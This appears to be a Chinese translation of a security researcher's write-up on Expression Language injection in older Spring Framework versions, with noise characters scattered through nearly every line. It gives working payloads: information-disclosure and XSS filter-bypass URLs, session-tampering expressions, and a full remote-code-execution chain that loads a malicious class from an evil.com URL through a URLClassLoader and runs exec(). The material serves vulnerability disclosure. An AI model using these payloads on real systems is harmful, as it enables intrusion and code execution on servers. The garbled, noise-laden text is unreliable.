Remote Code with
2 q* d2 e% q4 _Expression Language Injection0 t: Y8 p# Q9 W8 N* n0 P
Spring Framework脆弱性—DanAmodio% h) A% u3 o/ }( n5 H
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中" J( {; R, C- r1 O! g) s; Y
可能会存在风险。
. {9 n% U) }, s( j在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
1 }6 q2 ^% s3 |" _ P3 b; HArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可# I9 f4 F" G Z" ^& p
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
" H7 ?, Q: |& e2 L以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前1 l( K6 ~2 m$ y: M+ h" }: F; r) b9 c
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。' }6 g9 ]0 T D7 Y# T& k
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
3 q7 |1 [# c3 I5 |, m* N/ M我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版 E+ G; x2 P. E6 s2 }
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。" i/ \6 S+ A& p7 X: W+ X
这些版本不支持禁用double EL resolution.) G. l8 ~& z4 q( R0 N- Z! _8 v0 {
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含3 b5 `# P3 J2 d2 r& {8 ^/ V- i- M
EL2.2容器上可能进行远程代码执行。
) Q3 F9 o+ E5 D7 v8 g& r P这是一个原始信息泄露的攻击例子:5 F' ?; E! y/ Q
请求:' Z {, ]1 J3 q/ I( p; k2 I7 e8 S3 @
ttp://vulnerable.com/foo?message=${applicationScope}. w& q& ? H9 K5 X+ q1 ?
到达以下内容页面:* k. J+ R+ Q$ F; p y
结果将输出一些包含内部服务器信息calsspath 和本地工作目录# [5 t: m4 k: `
你也可以做一些其他事情,如这样:
- Q" f( g( M; e( T8 z- p" s${9999+1}* Z5 p5 b8 e3 W3 e9 s
还可以访问session 对象和beans
& {* X: o+ i& _${employee.lastName}# v m1 | v" e# d& s- d4 \
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是& \; [, Z9 |# M4 c2 D4 X5 [
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东; y; e4 r( o& m. E
西,比如XSS.
) J& ]/ }4 @/ V哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签3 Z/ F$ G9 ~, N. C
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤 W- R b/ L7 i
呢?”
- y) B% n. H! U& M; q/ |因此,我尝试巳缦拢�
* @0 T* M/ X8 L7 o, l# o! Qhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
- K* W& _! h) X) GP0 B' j4 w( g) g
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返; z m7 ~6 h9 h8 o% d0 y
回的文本被插入进了spring:message 标签。
% r# B: P4 q# F6 U这里是一个最终绕过过滤的实例:
% B& j2 ^: t, Q0 @http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
& B- E4 ?. M3 B; M+ I8 g; `它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
: B! F8 o# i- ~/ b/ G' e4 s5 E5 |什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?( K$ C3 L! t& q! X/ f; U m- `5 w
经过一番研究,我学习到EL2.2 增加了方法调用。
1 J# A+ Y9 y& S9 O$ d我写了一个快速测试应用程序代码并且检测一些功能
z* i# v8 A0 c* L# | ]/ P- q${pageContext.request.getSession().setAttribute(“account”,”123456″)}
0 c: V5 ~" P& G! [; Q% _) a${pageContext.request.getSession().setAttribute(“admin”,true)}
. _5 o: Y0 e& b" [" N/ Z好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
, `# D8 c& u, r4 R( W: u6 Y. } E指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?* d( Q9 M7 H( z3 b- i
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
) f) @, T) V3 v6 c: U* v* @9 q. N“, 1234)}% E3 V6 U# P+ d+ _5 a( k
${“”.getClass().forName(“java.lang.Runtime”)}8 S: \1 U6 D$ H: c( T# n
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不0 c0 K0 z7 Y# Z, E" E% q! `) u
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
3 m9 S6 f* n* {1 J2 C数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有( y0 R/ o" r1 g' \* X/ U
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
0 \7 w! P% l' }+ `' o方法签名invoke(Object obj, Object„ args)$ |& B& a$ Y9 X: r$ n/ T
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问& g6 @5 x% {2 s& i/ W* t
题,以让它可以工作起来。
1 p8 |& u% {' g& Y/ O+ d4 l漏洞利用:
5 q: D! p, G3 w5 l: _: U! i4 U我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
8 i& p8 @. Q1 \8 V. B/ {( |% \6 T希望你们中的一些JAVA奇才告诉我我是如此的可笑。
+ [- Q$ g4 Z2 c6 m这里有一些我试过的失败的用例,为了试图让它工作的用例:9 K, e \( d* m7 t) y: E+ r ^
写文件到文件系统/ [0 i1 A {5 B! n
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
4 M4 b8 A6 r; G7 R& k, S0 i我认为这些可以很好的工作,但是我不能找到合适的类来载入。
: _! h, `- R, O3 N3 W$ D${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}# [1 Q( m: K0 x0 J2 e' `4 b3 o1 A
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
5 }0 u, C+ T7 h3 O4 X; R$ c; p. _4 Morg.springframework.expression.spel.standard.SpelExpressionParser not found$ N1 `( ]+ [% F/ S7 a4 ?
by
3 u! j" d# @7 ^" x' ^org.glassfish.web.javax.servlet.jsp [194].
2 X b( k7 L# V+ T5 @2 ~ 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public& z3 v& l: z$ G
利用反射来创建一个新的Runtime(and watch the world burn)
0 J' A2 J0 u+ ^/ M# y${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
9 b6 O$ J2 Y' C$ D! q" k(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
0 C9 |* b d4 `/ g& v1 _${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
/ q0 s% ~4 M% g" Q: w0 @0 u, g4 y 使用java.lang.ProcessBuilder# O. q7 g" v: K+ J7 I" h: c/ s" a
用表达式语言来评估表达式语言
0 f2 `: Y& s$ s3 C0 bExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义." R$ |. L3 q9 p9 \
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
: \8 ^( Z- G: z7 R7 [& ?“,”".getClass(),null)}6 ]2 Q5 v% F: A1 H" E
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
. ^0 W0 |4 T" K5 d, K. e% O我在使用一个空数组通过Method.invoke()时失败了很多次
& Z$ B# m& ?4 n1 d6 i“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
( p9 c& P3 w$ _6 j3 Y- C/ S. i.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A, H! H, y! m' O+ m5 c" m( z
rrayList”).newInstance().toArray())5 F4 g: M6 p* s! H0 X0 ~5 i# q5 ^
java.lang.IllegalArgumentException: wrong number of arguments
- B2 v: n7 o$ _, o7 X最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可8 e6 m; E x* ~) l) H. t; v4 P* y
以创建一个恶意class文件并且指向类装载器.! \* t, A/ o, Y
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:9 n5 t& f* `& \' N7 z! @; n
public class Malicious {# }$ L5 ]0 c. C- t& l" }8 H2 s4 N7 D
public Malicious() {: y# c6 \, o4 d9 ~( v) J4 Q
try {
" G( \: R- ?$ H: T! X% v; U/ e6 \java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
( L* v3 k: w: X+ n" Ujava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
3 E7 `8 l. s7 {& L, N} catch (Exception e) {, S5 F" q. r9 D: J* S
}
6 G: O3 S! w- j% k* U! V}( ~' _* n* p/ }; j/ m; w
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回: u2 C+ k- Y5 x: N
话中,因此它可以被使用.6 d9 s" }. t; _0 ]
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
1 M. ]0 ~' a! x(“java.util.ArrayList”).newInstance())}
& u' m0 V x q" M, m6 r( gURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建 C. |, X3 R% i- a$ T6 ^
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
5 C$ F% S7 l( A! o# q+ N$ mgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
! C0 u0 G2 L) n: I. ~4 v0 ~. z5 N我们可以调用的create(string)方法,然后转换对一个URL对象。& J# F; l5 d* z$ H3 W- l, V
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
- ?1 \! v: Q( i3 W+ were/malicious/classfile/is/located/”).toURL())}2 d# c' ^6 p) l) y. y% J
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,2 w! _# S8 A" I/ K2 n) c
恶意类文件被装载并创建,触发远程代码.1 t$ g: c! \+ D& O9 l" s4 c
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte6 g8 i- f; J) _" u) P
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().4 j. @9 V% w& \) [* u3 F
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance ^ o+ O) B* O/ Y
()} |